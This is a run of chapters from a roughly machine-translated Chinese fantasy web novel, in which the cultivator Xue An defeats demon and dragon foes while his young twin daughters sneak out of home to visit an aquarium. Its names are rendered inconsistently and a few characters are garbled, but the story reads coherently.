    "The Devil Dragon Sage?" Xue An showed a cold smile, "Don''t worry, it will be their turn soon!"


    "Do not����."


    Click.


    There was a toothless sound of broken bones.


    Yu Qianlong was squeezed to pieces by those barriers, becoming a mass of flesh and blood the size of a basin.


    "Xiaosha, come on!" Xue An ordered.


    Xiao Sha stepped forward with disgust, "Boss, this is all gone, how can I swallow it?"


    Xue An flipped his hand, and a straw appeared in his hand.


    "Drink the juice like that! This guy has a good bloodline and is very helpful to you!" Xue An patted Xiaosha on the shoulder, with an expression that I am optimistic about you.

 Chapter 525： Clean up the remnants

    Xiaosha resisted the nausea and began to devour the blood of this Yu Qianlong.


    Wei Ruyan Jiang Meier and the princess of the fox demon clan came over.


    "Thank you, Mr., for your life-saving grace!" the women said in unison.


    Xue An smiled slightly, "You''re welcome!"


    Then turned to look at Xie Jingjing who was standing at the back.


    "Why are you caught here too?"


    As soon as the voice fell, Xie Jingjing''s eyes turned red.


    Wei Ruyan sighed and recounted what happened.


    Finally, he said angrily: "That monster in a human skin is the most hateful!"


    Xue An nodded and looked around the banquet hall.


    Because of the demon dragon Zhentian that just fought over Qianlong, the demons in the banquet hall were basically shaken to powder, and they couldn''t tell which was Noriko Izumi.


    Xue An frowned slightly, and the huge spiritual thoughts unfolded instantly, covering the whole world.


    now.


    To the southwest.


    Noriko Izumi was running wildly in panic.


    He saw everything that happened in the banquet hall just now.


    Xue An''s strength shocked him.


    And he predicted Yu Qianlong''s failure, so he slipped out early.


    He knew very well that if he was caught, he would definitely die.


    After running wild for a while, he is now dozens of miles away from the base camp.


    It''s probably all right.


    Noriko Izumi breathed a sigh of relief and slowed down to take a break.


    At this moment, he suddenly noticed that someone behind him also hurried over.


    Noriko Izumi couldn''t help being shocked.


    Could it be that Xue An sent someone here?


    Can not help but be ready to meet the enemy.


    But after this person got close, Izumi Noriko took a breath.


    "It turned out to be Mr. Crane! What? Did you run out too?"


    Mr. Crane walked out of the darkness and nodded slightly, "It turned out to be Lord Jin Jing!"


    Noriko Izumi chuckled, and suddenly said softly, "Hey, why does Mr. Crane exist as a spirit?"


    Mr. Crane smiled bitterly, "No way, the one who just came out was too late, and was destroyed by Yu Qianlong''s Demon Dragon Zhentian!"


    "Oh!" Noriko Izumi suddenly realized, "So that''s it! So Yushao won?"


    Mr. He shook his head, and said solemnly: "On the contrary, he has already lost! Even I guess he is dead now."


    "Is it so serious?" Izumi Noriko was taken aback.


    "Hey, the strength of that man is beyond your imagination!" Mr. Crane sighed.


    "Whether he is dead or not, we ran out anyway! Mr. Crane, I know how to get out of this secret realm, and the place I went to is very prosperous, and there are no masters! We can go there!" Izumi Dianzi Said.


    Mr. Crane''s eyes lit up, "It''s so good! But Master Jin Jing, I am in a state of mind and soul, and it will be very laborious if I go on the road. Can you carry me?"


    Noriko Izumi nodded carelessly, "No problem!"


    After that, he turned around and bent down, "Mr. Crane, please come!"


    A dark smile appeared at the corner of Mr. Crane''s mouth.


    like he said.


    At the moment when Xue An started his spiritual thoughts, he understood that Yu Qianlong would be defeated.


    So he has been moving out secretly, wanting to take the opportunity to escape.


    Unexpectedly, before he ran out, Yu Qianlong''s magic dragon shakes the sky and shattered his body.


    Fortunately, a ray of soul escaped by chance.


    However, the soul alone cannot exist for a long time in this world, and a physical body must be attached to it.


    And this Izumi Noriko is not bad.


    The golden-eyed monkey transforms into a good shape, and the blood is okay.


    Mr. Tsuru thought about it, and then gently lay on the back of Izumi Noriko.


    "Master Jin Jing, all right!"


    "Okay, let''s go then!"


    He stood up as he said.


    At this moment, Mr. Crane''s soul turned into a sharp needle, which suddenly pierced the back of Izumi Noriko.


    Noriko Izumi suddenly tore his hands.


    He directly grabbed Mr. Crane''s legs and tore him in half.


    Divine Soul will not bleed.


    It stands to reason that being torn in half means that the soul is scattered.


    But this Mr. Crane has tempered his soul so hard that he is not dead for the time being.


    "Mr. Crane, what? Do you want to seize my body?" Izumi Noriko said lightly.


    Mr. Crane shouted in horror: "When did you notice it?"


    "Nonsense, do you really think I don''t know anything? It''s purely an excuse for you to find that the soul can''t go on the way! Haha! It just so happens that when I swallow your divine mind, I will be more free in that world!"


    With that, Izumi Noriko swallowed half of Tsuru''s spirit in one bite.


    "You monster!" Mr. Crane screamed.


    "Haha, each other!" Izumi Noriko said with a sneer.


    But at this moment, Noriko Izumi and the remnants of Tsuru suddenly looked towards the sky.


    There was a thin light curtain above the sky, and a huge eye above the light curtain coldly overlooking two monsters killing each other.


    "No!" Izumi Noriko exclaimed and wanted to escape.


    Because he understood that this was definitely Xue An had already chased him.


    But he didn''t even take a step, he was bound by the remnant soul of Mr. Crane.


    "You..." Izumi Noriko was frightened and wanted to break free.


    "Hahahaha, this adult has already chased him! Anyway, I can''t live anymore, so you can accompany me to die!" Mr. Crane shouted ferociously.


    At this time, the light curtain quickly condensed into a giant hammer and crashed down.


    Click.


    Noriko Izumi screamed and was directly smashed into meat foam.


    He even smashed Mr. Crane''s remnant soul into nothing.


    So far.


    The two monsters who framed each other were completely destroyed.


    Xue An retracted his spiritual thoughts and Chongwei Ruyan nodded slightly, "Well, that Hequan Noriko is dead!"


    Then, looking at Xie Jingjing, who was standing with her head down as if she had done something wrong, she shook her head helplessly, "Don''t be sad, the demons have been killed by me!"


    Before the words fell, Xie Jingjing suddenly lay on Xue An''s shoulder and started crying.


    "Brother Xue An, I''m so scared! I just thought I would never see my parents and you!"


    Xue An was startled slightly, then gently rubbed her head, "Okay, don''t cry! It''s all over."


    This girl who was only in the second year of high school was already on the verge of collapse after experiencing these things.


    After seeing Xue An, she can''t wait to cry out all the grievances accumulated these days.


    Tears quickly wet Xue An''s shoulders.


    Wei Ruyan, Jiang Mei''er and others couldn''t help pursing their lips and chuckling.


    The fox demon clan princess looked at this scene curiously.


    Xue An had to smile helplessly.


    "Okay, I''ll take you home when things are done!"


    Xie Jingjing choked up and said, "Brother Xue An, I... I will borrow... your shoulder, and I will pay you back soon?"


    Xue An could not laugh or cry.


    But at this moment.


    Over Xiaosha, which had just swallowed the blood of Yu Qianlong, a ripple suddenly appeared in the space, and then a black dragon claw stretched out from it, and a roar was heard.


    "Who is it that dare to kill my son?"

 Chapter 526： Yaoshou! Lord Lord has been taken away!

    An extremely powerful momentum enveloped the audience.


    Even pressed Xiaosha and had to bow his head.


    Yu Haoyan had completely gone violently now.


    Otherwise, he wouldn''t spend immeasurable cultivation base to open such a space-time passage.


    He had just been sitting in the Devil Dragon Realm, and suddenly felt a strong heart palpitations, and then found that the blood connection with his son Yu Qianlong suddenly broke.


    There is only one possibility, that is, his own son was killed, not to mention that even his blood was looted.


    As a high-level devil dragon, Yu Haoyan has a long life span, but it is extremely difficult to give birth.


    So up to now, he only has the son of Yu Qianlong, and he has always been pampered.


    But I didn''t expect that this time he would be wiped out as soon as he was sent to perform the task.


    How could Yu Haoyan not be angry, and simply tore through a space-time channel, and directly killed the guy who plundered his son''s blood.


    Because of the limitation of the space rules, Yu Haoyan''s body could not descend, and it was this dragon claw that could enter this demon world.


    But this is enough.


    At least Xiaosha now cannot withstand this blow.


    But at this moment, Xue An didn''t know when he had appeared in front of Xiaosha, and then reached out and grabbed the dragon claw.


    Yu Haoyan at the time-space channel was slightly startled, still wondering.


    what happened?


    Why didn''t one of his own claws result in the other party? Instead, was caught by something?


    When he was wondering, Xue An smiled slightly, "Since you are here, don''t leave! Stay and give my pet food!"


    With that said, Xue An suddenly used force.


    Yu Haoyan felt a huge force coming, and the entire huge body was instantly piled on this narrow space-time passage.


    At this time, Yu Haoyan mustered all his strength, grabbed the floor with the remaining claws, trying to break free of Xue An''s control.


    But Xue An''s strength was too great.


    Yu Haoyan''s paw that was hooking the floor was slowly sliding back.


    In Yu Haoyan''s hall, there were still many magic dragons waiting for orders.


    When these dragons saw that their commander was about to be taken away by something, they couldn''t help but feel a little surprised.


    "What the **** are you doing stupidly? Come and save me!" Yu Haoyan roared in anger.


    These dragons woke up like a dream, and hurriedly stepped forward to pull out their commanders like a carrot.


    With the help of more than a dozen dragons, Yu Haoyan gradually gained the upper hand in the tug of war with Xue An.


    At this time, Xiao Sha saw Xue An holding a dragon claw and hurried to the back to help pull it together.


    Jiang Mei''er Wei Ruyan and the others looked at each other and came forward to help.


    At the same time, the Bone Lady who slaughtered all low-level monsters and other monster races all rushed in.


    If the grievances are avenged, they are naturally happy.


    But when I waited to see the scene in this hall, I couldn''t help being taken aback.


    Zhang Xiaoyu stepped forward excitedly and said, "Your Highness!"


    The elder fox also came forward and said in tears: "Princess!"


    Jiang Meier and the others didn''t have the time to take care of them, but just said: "Quickly, come and help!"


    "Hey, great!" Zhang Xiaoyu rushed up first.


    At the same time, he asked Xiaosha, "Sister Long, what''s wrong?"


    "A stupid dragon opened the space-time channel to pretend to be *, but was caught by my boss. Now he can''t go! He is about to drag him in!" Xiao Sha grinned.


    Zhang Xiaoyu got excited when he heard it, "Damn, you want to run after pretending*? Look at me!"


    After that, the original shape appeared, a few pink tentacles wrapped around the dragon''s claws, and the others stretched out in front of Mrs. Bone and other demons.


    "Come on, pull together!"


    Mrs. Bones nodded and hurried forward to help.


    The elephant king smiled, "Little octopus, can you hold it?"


    Zhang Xiaoyu said dissatisfiedly: "Silly big guy, don''t worry! My tentacles are a hundred times tougher than steel wires!"


    "Good!" Xiang Wang rubbed his palms, and his whole figure suddenly began to soar.


    From a giant of more than three meters to a King Kong of more than five meters, he grabbed the tentacles of the octopus and roared.


    "Give me... come here!"


    I have to say that this elephant Wang is really strong.


    Under this drag, Octopus''s tentacles were pulled out of the old man.


    But Zhang Xiaoyu yelled indifferently, "Go harder! Don''t worry about me!"


    With the concerted efforts of many monster races, Yu Haoyan was horrified to find that he was dragged and moved slowly over there.


    No, I will definitely be dragged over if this continues!


    Yu Haoyan''s heart was full of fear.


    If he were dragged past, then under the constraints of the law of space, it is estimated that he would have to be killed at that time.


    Thinking of this Yu Haoyan gritted his teeth, it seemed that he could only break his wrist.


    But just when he was about to cut off his dragon claw.


    Xue An, who has been holding the dragon''s claws, said lightly: "You all get out of the way!"


    Xiaosha and the many monsters who used the energy of milk feeding were all taken aback.


    "Boss..." Xiao Sha shouted, the meaning was obvious.


    Can you do it by yourself?


    Xue An smiled faintly, "It can be seen that he is ready to cut his hand to save his life! But there is such a cheap thing! Get out!"


    Xiaosha and the demons quickly moved away.


    Yu Haoyan felt that the pressure was relieved, and he was still ecstatic, thinking that the other party should be weak.


    But then Xue An''s other hand also held the dragon claw.


    That''s right.


    Just now, Xue An had been competing with this magic dragon with one hand.


    Now Xue An suddenly used his hands and snorted, "Come here!"


    Yu Haoyan, who had just breathed a sigh of relief, screamed, and was caught off guard from the Devil Dragon Realm.


    The dozen or so dragons in the hall all looked stupidly at that small space-time passage.


    After a meeting, he shouted in horror.


    "Yaoshou! Lord Lord has been taken away!"


    There was a lot of chaos in the dragon world.


    The magic dragon saint master Yu Haoyan, who was directly dragged into the mysterious realm of the monster race, felt that his cultivation was suppressed by layers of rules.


    The strength fell instantly.


    But at any rate it is also the Sage Master of the Devil Dragon, and his cultivation is naturally stronger than that of the Royal Qianlong, so immediately it is a roll, the whole body flies into the air, and roars: "You wait..."


    But before the latter words were spoken, Xue An slammed it down from the air with a punch.


    Yu Haoyan ate the dirt in his mouth and looked up in anger, "You..."


    Then he was stunned.


    Because he found Xue An standing in the air holding hands.


    Looks so familiar.


    Xue An raised the corner of his mouth, showing a warm smile, "Long time no see!"


    Yu Haoyan began to tremble, and the trembling dragon scales all jingle and jingle bells kept ringing.


    "You...you...."


    You haven''t said the name for a long time.


    "Yes, I am Xue An!" Xue Ansen smiled.


    Yu Haoyan''s reaction was very straightforward, and he fainted as soon as he rolled his eyes.


    Xiaosha came over at this time, "Boss, why is this guy so afraid of you!"


    Xue An smiled slightly, "It''s nothing. When I was the fairy king, I used to entertain a few friends, but the ingredients were not enough, so I went to the magic dragon world and caught dozens of magic dragons to cook! Be scared!"

 Chapter 527： You make it difficult for me!

    Hearing these words, many Yaozu subconsciously moved away from Xue An.


    I caught dozens of magic dragons while cooking, which...this is too exaggerated.


    "Boss, what about this guy?"


    Xue An looked at Yu Haoyan, who was lying motionless on the ground, and said lightly: "Since I have passed out, I will save trouble, just swallow it!"


    "Good!" Xiaosha smiled and started to do it.


    Yu Haoyan quickly opened his eyes when he heard the words, "My lord is forgiving, my lord is forgiving!"


    "Oh, I dare to pretend to be dizzy!" Xiao Sha was very upset, and she was about to come over and teach this guy with her arms and sleeves.


    Xue An waved her hand to signal her not to do it first, and then rushed towards Haoyan and said, "It seems you recognize me?"


    "Of course Xiaolong recognizes adults." Yu Haoyan cried secretly.


    You have to know that it is the grandfather who kills the god, and he will not come over if he says anything.


    "Very well, your son acted arrogantly and was swallowed by my men. Can you be convinced?"


    "Serve! Absolutely convinced!" Yu Haoyan nodded like a chicken pecking at rice, and said repeatedly.


    Xue An sighed slightly when he heard the words, "You make it hard for me to do this!"


    "I wanted my men to swallow you too, but you have such a good attitude, you are embarrassed to start."


    Yu Haoyan was sweating profusely and said with a strong smile: "Big...sir..."


    Xue An smiled slightly, "Don''t worry, I''m a very reasonable person. You just found this thing yourself! But I won''t kill you, so let''s leave half of your blood, and I will let you go. how is it?"


    Yu Haoyan''s face was pale and looked at Xue An with begging eyes, hoping that he could let go of him by raising his hand.


    If half of the blood is really left, Yu Haoyan will suffer a great loss of strength, and when he returns to the Demon Dragon Realm, it is likely that he will not be able to keep his position as the Holy Master.


    "Why? Unwilling? I don''t seem to need to remind you of what your dragons have done. I believe that your hands are also covered with the blood of countless souls, leaving you with half of your blood. Are you still not satisfied?" Xue An raised his eyebrows slightly.


    "Satisfied, satisfied! Of course satisfied!" Yu Haoyan nodded in fright.


    If you dare to be dissatisfied, once you provoke this killer grandfather, your life may not be saved.


    Yu Haoyan had a painful look on his face, and after struggling for a few times, he suddenly spit out a bead emitting a bright light.


    Dragon Ball.


    Something condensed by higher dragon clan.


    Similar to the inner alchemy of the practitioner.


    But the power is more powerful, and there are endless magical effects.


    Xue An took a roll, and Dragon Ball started.


    Xue Ancai nodded in satisfaction after feeling the powerful blood power contained therein.


    "Not bad!"


    Yu Haoyan''s face was pale, but he still forced a smile: "My lord, am I..."


    "get out!"


    "Yes!" Yu Haoyan wanted to leave as if he was pardoned.


    Xue An said: "I know what you are conquering here this time! Don''t blame me for not reminding you. If you dare to think too much, then I don''t mind treating your dragon world as a vegetable market! Understand?"


    Yu Haoyan was so scared to pee, "Yes, yes, I understand!"


    Xue An waved his hand to signal him to roll quickly.


    At this time, the empty channel was about to collapse.


    Yu Haoyan burned his little cultivation base with a bitter face, and temporarily maintained the stability of the space-time channel. Only then did he slip in and disappear into the mysterious realm of the monster race.


    Xue An threw the dragon ball to Xiaosha, "eat it! This thing is much stronger than those garbage bloodlines!"


    Xiao Sha swallowed it without hesitation, then blinked, "It doesn''t feel much."


    As soon as the voice fell, Xiao Sha felt a majestic force explode in his belly, and instantly held it back to its original shape.


    And Xiaosha''s dragon scales are growing rapidly, then fall off and grow again...


    This way, every time the dragon scales are much harder than before.


    And Xiaosha''s entire dragon body also began to grow and change crazily.


    This feeling is very painful.


    Even Xiao Sha couldn''t stand it, and began to writhe and struggle in the air, his eyes filled with pain.


    "Boss, it hurts too much, help me!"


    Xue An just watched quietly, "If you want to become stronger, you have to endure the pain you deserve. No one can help you."


    Xiao Sha was startled when he heard the words, and gradually regained his clarity in a pair of dragon eyes.


    She suddenly thought of a long, long time ago.


    At that time, I was just a little water snake.


    One day she met her natural enemy, a king cobra that was several times bigger than herself.


    At that time, I only wanted to run, but I couldn''t escape the chase of the king cobra.


    In desperation, Xiao Sha fought.


    That battle was the cruelest and most painful battle Xiaosha has ever experienced.


    Xiaosha almost died, but in the end she killed the king cobra.


    This is simply a miracle.


    From then on, Xiaosha gradually opened up Lingzhi and embarked on the road of cultivation.


    At the beginning, I was almost dead and survived.


    This time it was just a little bit painful, so what''s the deal?


    Xiao Sha thought in his heart, began to take in his mind, slowly fell to the ground, and entered a state of meditation.


    Xue An nodded slightly.


    This transformation is crucial to Xiao Sha.


    But the most important thing is the tempering of xinxing.


    Only by breaking through can we truly embark on the road of being strong.


    And in the world of magic dragons.


    Those magic dragons are discussing something around the passage of time and space.


    "Master Saint was caught in here and disappeared!"


    "It''s probably dead!"


    "Who knows!"


    "Wipe, the salary has not been paid this month!"


    At this moment, the empty channel suddenly flickered.


    "Yaoshou, this thing is going to explode! Run now!"


    These dragons rushed away, hiding in the far corner and watching.


    Suddenly, the space-time passage seemed to be nauseous, Yu Haoyan was vomited after a retching, and then disappeared invisible.


    At this time, Yu Haoyan was utterly miserable, with scars all over his body, lying on the ground miserably.


    The dragons looked at each other, and then crept over.


    "Hey, this thing looks like our Lord Lord!"


    "I look like it too!"


    "Is it dead?"


    At this moment, Yu Haoyan suddenly sat up.


    These dragons were so scared that they disappearedOh my god, scam! "


    Yu Haoyan looked sullenly at his group of subordinates whose IQs were all offline, and coldly shouted, "Get all of them back! I''m not dead!"


    These dragons all turned around silently.


    "Holy Lord, we thought you were dead!"


    "Yeah, I have been crying for a long time!"


    "Yeah, you are crying in the wind, OK!"


    Yu Haoyan''s complexion became more and more gloomy, and he roared, "Enough!"


    This group of two hundred and five dragons quickly closed their mouths.


    "Listen, from today, I have no foreign visitors! There are visitors. You just said that I practice in retreat! Understand?"


    "Yes!"

 Chapter 528： Sister Long, would you miss me?

    Xiao Sha has been in Ding for a day and a night.


    At this moment, her whole body was enveloped by a thin layer of red light.


    And with Xiao Sha''s long breath, this layer of red light also flickered, and gradually thickened, finally becoming like a silkworm cocoon, enveloping Xiao Sha.


    "Master Xianshi, when will Sister Long wake up!" Zhang Xiaoyu asked.


    "It should be soon!" Xue An said, looking at Zhang Xiaoyu, "Are you worried about her?"


    Zhang Xiaoyu nodded, "Although Sister Long often beats me, I think her heart is actually very kind, but she can''t express it!"


    Xue An laughed blankly.


    It seems that Zhang Xiaoyu is already Xiaosha''s fan.


    At this time Madame White Bone and other monster races had already bid farewell to Xue An, and left each.


    Although the monsters have been eliminated, this secret realm has also been disturbed. These local monster races have to take a good rest before they can clean up the mountains and rivers to rebuild this realm.


    Thinking of this, Xue An couldn''t help but wonder a little.


    From the vast expanse of this secret realm, we can see that this realm was absolutely extraordinary at the beginning.


    This point was also confirmed in the conversation with these monster races.


    Among the classics handed down by these monsters, the original monsters were very powerful.


    Rather than the weak look that even low-level monsters can''t resist.


    And the time when these monster races suddenly declined, coincided with the time when the ancient times passed down the world.


    This is no coincidence.


    Thinking of these days, more and more gods and demons want to get involved in the world.


    It seems that everything is not that simple.


    Thinking of this, Xue An''s mouth showed a cold smile.


    No matter who it is, as long as you dare to covet the world, then you don''t mind giving them a lesson you will never forget.


    At this moment, the Qi machine of Heaven and Earth began to become restless.


    Then there was a slight crack in the light cocoon that wrapped Xiaosha.


    boom!


    With a loud noise.


    These light cocoons burst into pieces.


    Then I heard a dragon sound trembling through the heavens, a giant dragon rose into the sky, and the situation changed by the powerful aura.


    Octopus raised her head to look at the sky, her face dull.


    Not only her, including Jiang Mei''er and Princess Fox Demon who hadn''t left, were all overwhelmed at this moment.


    Because the momentum of this dragon is simply too terrifying.


    Especially on the golden dragon scales, there are traces of black patterns entwined, making it even more mysterious and powerful.


    The dragon rolled a few times in the sky like a Huan, then bowed its head, flew to Xue An, and crawled down a huge dragon head.


    Xue An smiled and patted her head, "Not bad! It looks like a dragon!"


    Following Xue An''s words, the dragon''s body began to shrink sharply, and then it turned into a human form.


    It''s just that Xiaosha now is different from before.


    If the former Xiaosha was a 14-five-year-old Lolita, then she has grown up to be a seventeen-year-old girl.


    And the appearance is more beautiful, the manner is more elegant.


    "Huh, this day is really suffocating my old lady!" Xiao Sha said dumbly.


    ����.


    Sorry, take back the words that behave more gracefully.


    Xue An couldn''t laugh or cry, thinking that he should take care of this guy in the future.


    Otherwise, a golden dragon is like a female hooligan, and the style of painting is simply too weird.


    At this time, the octopus with the stars in his eyes rushed over, "Wow, sister Long, you are so handsome! I want to give you octopus..."


    Before he finished his words, he was kicked out by Xiao Sha.


    "I don''t need you to have an octopus!" Xiao Sha said with a look of disgust.


    The Octopus who was kicked into the air flew away in a graceful parabola, and shouted in horror.


    "Wow, no, I''m afraid of heights!"


    boom.


    Zhang Xiaoyu fell to the ground, splashing dust on the ground, and lying motionless on the ground.


    Fell to death? Xiao Sha''s complexion changed slightly.


    At this moment, Zhang Xiaoyu raised his head and spit out the dust in his mouth, and then he smiled.


    "Sister Long, your strength is much stronger than before!"


    Everyone: "..."


    "My lord, are you leaving?" Jiang Meier asked reluctantly.


    Xue An smiled slightly, "Yeah, my sister has been missing for so long, and my family must be dying of anxiety. I have to send her back first!"


    "That''s it..." Jiang Mei''er and the princess of the fox demon tribe knelt down.


    "Your grace, I will never forget it!"


    Xue An waved his hand, "Get up! It''s just a matter of raising your hand, don''t take it too seriously!"


    At this time, Zhang Xiaoyu was entwining Xiaosha with tears.


    "Sister Long, are you leaving? Then do you miss me?"


    "Sister Long, I will miss you!"


    "Sister Long..."


    Xiaosha was so annoying that she was entangled, and finally roared, "Enough! No more nonsense, my old lady will tie your tentacles into knots!"


    Octopus was quiet for three seconds, and then said weakly: "It''s useless, the octopus''s tentacles can''t be knotted!"


    Xiaosha: "..."


    When everything was finally cleaned up, Xue An let Xiaosha show his true shape, and carried Wei Ruyan and Xie Jingjing.


    Octopus is crying with rain.


    Xiao Sha was full of boredom at first, but at this moment he couldn''t help but was stunned, and then lowered the huge dragon head, "All right, little octopus, don''t cry, I can''t come to this secret realm, I will come to see you if I''m fine in the future!"


    "Ouuuuu, Sister Long doesn''t want me anymore!"


    A touch of sadness flashed through Xiaosha''s dragon eyes, and then he raised his head proudly and stopped looking at her.


    And mumbled: "Women are really troublesome!"


    At this time, Jiang Mei''er came forward and whispered a few words in Zhang Xiaoyu''s ear.


    Zhang Xiaoyu''s face gradually released light, but hesitated and said, "His Royal Highness, is this all right?"


    Jiang Meier nodded with a smile.


    Zhang Xiaoyu smiled, nodded heavily, and then climbed onto the dragon''s back without Xiaosha paying attention.


    Wei Ruyan turned her head and glanced at her, and Zhang Xiaoyu quickly made a silent gesture.


    Wei Ruyan was startled, and then smiled.


    At this time, Xiao Sha said solemnly: "Sit down!"


    After talking, he leaped into the air.


    Jiang Mei''er and the princess of the fox demon clan stood in place and quietly looked at the back of Xue An and Xiao Sha away.


    After a while, the princess of the Fox Demon Race said enviously: "Mr. Xue is really a fairy!"


    Jiang Meier smiled That''s natural! "


    "How did Sister Mei''er know Mr. Xue?" Princess Fox Demon asked curiously.


    "It''s a long story. Everything starts from when I secretly went to the world to play..."


    Jiang Mei''er began to talk to Princess Fox Demon with pride.


    Xiao Sha in the air was also a little sad.


    That silly octopus is so boring, he actually asked me if I miss her!


    Haha, how could my old lady miss her!


    Humph!


    Absolutely not!


    Alas, I always feel a bit deserted without her by my side.


    At this moment, I heard a very weak voice, "Sister Long, you fly slowly, I am afraid of heights!"

 Chapter 529： 2 little girls who sneaked out

    Xiao Sha shuddered when he heard the words, and almost overturned Wei Ruyan and Xie Jingjing.


    "You... when did you climb up?"


    Zhang Xiaoyu chuckled, "My Royal Highness said that she allowed me to follow Sister Long''s death, so I sneaked up! Sister Long, are you very happy? Hehehehe."


    Xiao Sha was indeed a little happy in her heart, but this was obviously unacceptable, so she raised her head proudly, "Have fun!"


    "Huh, how do you know I like balls?"


    Several black lines appeared on Xiaosha''s forehead, and her joy was reduced by half.


    And Zhang Xiaoyu was not honest on Xiaosha''s back.


    "Sister Long, you are flying so high!"


    "Sister Long, do you think that cloud looks like the corn cooked by Sister Xuan?"


    "Sister Long..."


    Xiao Sha couldn''t bear it, and roared: "Enough! Can you be quiet for a while!"


    After three seconds of silence.


    Zhang Xiaoyu weakly said: "It''s been quiet for a while, can you?"


    Xiaosha almost didn''t fall from the air, and the warmth in his heart just disappeared.


    It looks better to be deserted!


    Seeing this scene, Xue An couldn''t help but smiled and shook his head, suddenly missing his two daughters.


    I don��t know what I miss now.


    Did you miss me?


    At the same time, in the Tianzi No. 1 Villa in Beijiang.


    Tang Xuan''er has not gone to work these days, but has been with An Yan at home.


    But apart from Tang Xuan''er, no one knew that An Yan had returned.


    At this time, the two were learning to make cakes in the kitchen following the video on Douyin.


    Xue Xiang and Xue Nian were watching TV in the living room on the second floor.


    "It''s boring!" Thinking about leaning on the sofa, his face looked unlovable.


    "Sister, what are you boring?" Nian-nian asked while licking her hands.


    She had just eaten an ice cream and there was still cream on her hands.


    This is simply unbearable for a snack food, so it is natural to lick it clean.


    "Aren''t you boring? These cartoons are turned over and over every day, boring!"


    Niannian frowned and thought for a while, "I think it''s okay, as long as I can eat ice cream, I won''t be bored!"


    "You know how to eat!" Think about it helplessly, and then sneaked up to Nian Nian''s ear, and the **** said mysteriously.


    "I just read an advertisement on my mobile phone and said that a new aquarium has been opened in the city. There are a lot of marine life and a dolphin show. Should we go take a look?"


    Nian Nian''s eyes lit up, "Okay, okay! I like watching dolphins the most! Then go tell mom and Aunt Xuaner now?"


    "Shhh, I can''t tell my mother and Aunt Xuan''er about this!" I thought about making a silent gesture.


    After a while, "Why?"


    "You think, if you follow them, you must be taken care of by them, then we won''t have fun!"


    "But if you don''t tell them, how can we both go?" Nian Nian asked with a puzzled look.


    Think about it with a proud smile, "Naturally the two of us went by ourselves!"


    Niannian''s eyes gradually widened, "We two go by ourselves?"


    Thinking about it, nodded, "Yes!"


    "But..." Nian Nian still hesitated.


    "Oh, there are so many! Besides, we are not two or three-year-old kids anymore! We are all five and a half years old now!"


    "And I heard that there is free ice cream in the aquarium!"


    "Go!" Nian-nian nodded immediately.


    After making up their minds, the two little girls began to plan how to go.


    Think of a girl who is very mobile.


    And she had been thinking about the idea of ??sneaking out to play for more than a day.


    So she said pretentiously: "Mom and Aunt Xuan''er will watch TV in the living room until 5 pm after lunch every day!"


    "And our chance to sneak out is at this time."


    "After lunch, the two of us pretended to take a nap, and then we went to the second floor and climbed out through the back window. I have checked it with my mobile phone. It takes 45 minutes to drive to the city from here!"


    "So if we go out at 12:30, we will arrive at the Aquarium at about 1:30! Then we will play at 3:30 and then take the car back! So moms and others will not find out at all! How? Is this plan perfect?" Think about it proudly.


    Nian Nian looked confused, and shook her head, "I don''t understand! But what if my mother finds out?"


    "Don''t worry, nothing will happen if you know it! Because we were back then!"


    "But I''m still scared!" Compared to the strength of thinking, Nian Nian seemed a lot more honest.


    Think about it impatiently and say: "If you''re afraid, don''t go, I''ll go by myself! But if you think about it, it''s free ice cream!"


    The temptation of ice cream made Nian Nian courageous, "No, I want to go!"


    After the two little girls discussed, they went downstairs for lunch.


    An Yan and Tang Xuan''er made a big table of sumptuous lunches, and the two little girls were full, then think about it.


    "Mom, Aunt Xuan''er, the two of us went to sleep upstairs!"


    "Well, go! Remember not to steal ice cream!" An Yan exhorted.


    "Hmm!"


    The two little girls went upstairs.


    An Yan and Tang Xuan''er didn''t notice, they started watching TV after they packed their dishes.


    On the second floor, I opened a window leading to the backyard, and put down the rope prepared in advance.


    "I''ll get off first!"


    After speaking, he took the lead and followed the rope downstairs.


    Nian Nian looked at it. Although the second floor was not high and the backyard was full of soft lawns, she was still scared.


    "Sister, I''m afraid!"


    "Don''t be afraid, you turn around and grab the rope and slowly move it down! I''ll follow you down below!" Think about it and comfort.


    Nian-nian was shivering all over, pale and slowly rubbed down the rope.


    After finally getting to the bottom, think about grabbing Nian Nian''s hand.


    "go!"


    The two little girls followed a path in the backyard to the bottom of the mountain.


    Don''t dare to walk through the gate, for fear of being recognized by the security guards.


    The two little girls found a drainage hole along the wall.


    This hole is very narrow Adults must not pass through.


    But the two little girls can easily pass through.


    After finally getting out, think about walking on the road outside while pulling Niannian with an open eyebrow.


    Because this is a rich area, there are no vehicles on the road.


    Nian Nian asked, "Sister, how do we take a taxi in this case?"


    Think about it with a smile, and solemnly took out the phone from the small bag he was carrying.


    "Haha, I was prepared!"


    After speaking, he called an online car-hailing service through the mobile phone software.


    "Wait, the car is coming soon!" Think about it.


    Nian Nian was full of admiration, "Sister, you are amazing!"


    "Hey, that''s natural!"

 Chapter 530： These two little girls are probably very valuable

    Liu Qiang is an online ride-hailing driver.


    Thanks to his hard work, he can earn 10,000 yuan a month.


    Today he sent a few guests to Yunmeng Lake.


    Because this is a wealthy area, he didn''t even think about bringing people back, he just refreshed the software habitually.


    "Didi, someone called a car nearby."


    Liu Qiang was slightly startled, then he became excited.


    If this can take the person back by the way, it will virtually make a fortune.


    So he took the order without hesitation.


    The software starts to navigate automatically.


    The customer who placed the order is not far away.


    Liu Qiang hurriedly stepped on the accelerator and drove over.


    After waiting for the position, he did not see anyone waiting for the bus on the side of the road.


    Strange, how could it not?


    Could it be a fake order?


    Liu Qiang was upset when he heard someone knock on the car door.


    Liu Qiang hurriedly looked up, but did not see anyone outside the car window.


    I couldn''t help feeling tight.


    In the past few years, Yunmeng Lake was often rumored to be haunted.


    Could it be that I ran into it today?


    Liu Qiang was nervous, so he heard a clear and sweet voice saying: "Uncle, did you take the order?"


    Liu Qiang was taken aback and hurriedly opened the door of the car, only to find that two little girls who were carved with powder and jade were standing on the side of the road looking at him.


    "you guys����."


    Think about shaking the phone, "The car we called!"


    Liu Qiang never dreamed that it would be a car called by two five- or six-year-old girls, but the customer was God, so he was just a little taken aback, and quickly came down and opened the back seat door.


    "Two little beauties, please get in the car!"


    "Thank you Uncle!"


    After thinking and Nian Nian got into the car, Liu Qiang stepped on the accelerator and rushed to the city.


    Along the way, he looked at these two little girls through the rearview mirror from time to time.


    The more I look, the more cute it becomes.


    A smile appeared in the corners of his mouth.


    "Why do you two get in the car? How about your parents?"


    "My dad is on a business trip! My mom is waiting for us in the aquarium!" Thinking of a lie, I was still muttering in my heart.


